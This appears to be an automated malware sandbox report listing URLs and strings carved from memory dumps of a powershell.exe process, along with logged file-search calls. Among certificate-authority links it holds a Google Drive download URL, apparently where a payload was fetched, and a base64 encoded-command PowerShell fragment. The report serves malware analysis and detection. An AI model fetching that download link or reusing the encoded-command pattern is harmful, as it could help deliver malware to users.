"http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl06zx(t1o-&b(f>" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?:6" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l$7zv1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0?azhpk\q6fcattp:/micom/ppk\q" - Source: "00000000-00000160.00000002.223471.08920000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0?azh-g@p?azhdhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000160.00000002.223471.08920000.00000004.mdmp") Found URL "http://www.microsoft.com/pnult.htm0@$vkt7" - Source: "00000000-00000160.00000002.223471.08920000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zs/mlpo/>" - Source: "00000000-00000160.00000002.223471.08920000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportuppressrebootnotificationare\poliscellaneous" - Source: "00000000-00000160.00000002.223471.08B20000.00000004.mdmp") Found URL "https://connect.microsoft.com/powershell/feedback/details/421837" - Source: "00000000-00000160.00000002.223471.08B20000.00000004.mdmp") Found URL "http://pesterbdd.com/images/pester.png" - Source: "00000000-00000160.00000002.223471.08B20000.00000004.mdmp") Found URL "https://github.com/pester/pester" - Source: "00000000-00000160.00000002.223471.08B20000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0.html" - Source: "00000000-00000160.00000002.223471.08B20000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc46ppaucooe:j9_($npublic=c:\users\publicsystemdrive=c:systemroot=c:\windowsptn;homepath=\users\hapubwsficationusername=hapubwssessionname=consoleprocessor_revision=4f00windir=c:\windowsw8jm<>johomedrive=c:number_of_processors=8prompt=$p$gos=windows_ntprocessor_level=6new" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%ydigi)h" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0com/>eraut2011_2011_0ra=1.2.840.113549.1.1.51.2.840.10045.4.3.31.3.6.1.5.5.7.1.121.3.6.1.4.1.311.20.22.16.840.1.113730.1.1pkcs1.2.840.10045.2.11.2.840.113549.1.1.2microsoft" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://www.microspki/certs/microoceraut_2mstapca_2010-07-01.crl0zn0l0j>http://www.microsoftchoh1washington1redmond1microsoft" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000200.00000000.218614.7CDE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000200.00000000.218614.7CF50000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00000200.00000001.219350.3D722000.00000002.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1w6eqnji1ktv7s2upu24ebojhgqq9ov-3ns.dll3y\[ershell.utility.:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll:\windows\microsoft.net\assembly\gac_msil\system.web.services\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.web.services.dlll\v1.0\mes\micro.powershmanagemeicrosoftershell.gement.p:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dllyste_:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1hell.utility.psd:\windows\microsoft.net\assembly\gac_msil\system.web.extensions\v4.0_4.0.0.0__31bf3856ad364e35\system.web.extensions.dllc:\windows\microsoft.net\framework64\v4.0.30319\mscordacwks.dll:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\microsoft.net\assembly\gac_msil\system.web.services\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.web.services.dlles\m9hell.utility:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.management\microsoft.powershell.management.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.management\microsoft.powershell.management.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\directaccessclientcomponents\directaccessclientcomponents.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\microsoft.net\assembly\gac_msil\system.serviceprocess\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.serviceprocess.dll:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.management\microsoft.powershell.management.psd1??\c:\windows\microsoft.net\assembly\gac_64\system.transactions\v4.0_4.0.0.0__b77a5c561934e089\system.transactions.dll:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.odatautils\microsoft.powershell.odatautils.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1wershell.utility:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.management\microsoft.powershell.management.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.odatautils\microsoft.powershell.odatautils.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.security\microsoft.powershell.security.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.odatautils\microsoft.powershell.odatautils.psd1:\windows\microsoft.net\assembly\gac_msil\system.serviceprocess\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.serviceprocess.dll:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.management\microsoft.powershell.management.psd1??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.wsman.management\microsoft.wsman.management.psd1:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.management\microsoft.powershell.management.psd1isallowedcert_autoupdate_1subcamicrosoftisallowedcert_autoupdate_1subcasha256microsoft" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc46ppaucooe:j9_($npublic=c:\users\publicsystemdrive=c:systemroot=c:\windowsptn;homepath=\users\hapubwsficationusername=hapubwssessionname=consoleprocessor_revision=4f00windir=c:\windowsw8jm<>johomedrive=c:number_of_processors=8prompt=$p$gos=windows_ntprocessor_level=6new" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%ydigi)h" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0com/>eraut2011_2011_0ra=1.2.840.113549.1.1.51.2.840.10045.4.3.31.3.6.1.5.5.7.1.121.3.6.1.4.1.311.20.22.16.840.1.113730.1.1pkcs1.2.840.10045.2.11.2.840.113549.1.1.2microsoft" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1w6eqnji1ktv7s2upu24ebojhgqq9ov-3&export=downloadstrict-transport-security:" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://apis.google.com" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://ssl.gstatic.com" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://www.google.com" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://www.googletagmanager.com" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://www.gstatic.com" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://www.google-analytics.com;report-uri" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://www.microsoftchoh1washington1redmond1microsoft" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000200.00000001.219350.7CDE3000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1w6eqnji1ktv7s2upu24ebojhgqq9ov-3&export=downloadalluc:\windows\system32\stdole2.tlb??\c:\program" - Source: "00000000-00000200.00000001.219350.7D44C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt00@*hshej" - Source: "00000000-00000200.00000001.219350.7D44C000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000200.00000001.219350.7D4EE000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1w0u" - Source: "00000000-00000200.00000001.219350.7D52A000.00000004.mdmp")4d:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp")4e:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00000200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00000200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00000200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00000200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00000200) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00000200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00000200)4f:T16e5,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00000160.00000002.223471.00A71000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00000160.00000000.219629.02D3F000.00000004.mdmp, 00000000-00000160.00000000.219629.07320000.00000004.mdmp, 00000000-00000160.00000001.221551.02D3F000.00000004.mdmp, 00000000-00000160.00000001.221551.07320000.00000004.mdmp, 00000000-00000160.00000002.223471.02D3F000.00000004.mdmp, 00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000160.00000000.219629.02D3F000.00000004.mdmp, 00000000-00000160.00000000.219629.07320000.00000004.mdmp, 00000000-00000160.00000001.221551.02D3F000.00000004.mdmp, 00000000-00000160.00000001.221551.07320000.00000004.mdmp, 00000000-00000160.00000002.223471.02D3F000.00000004.mdmp, 00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "[-WindowStyle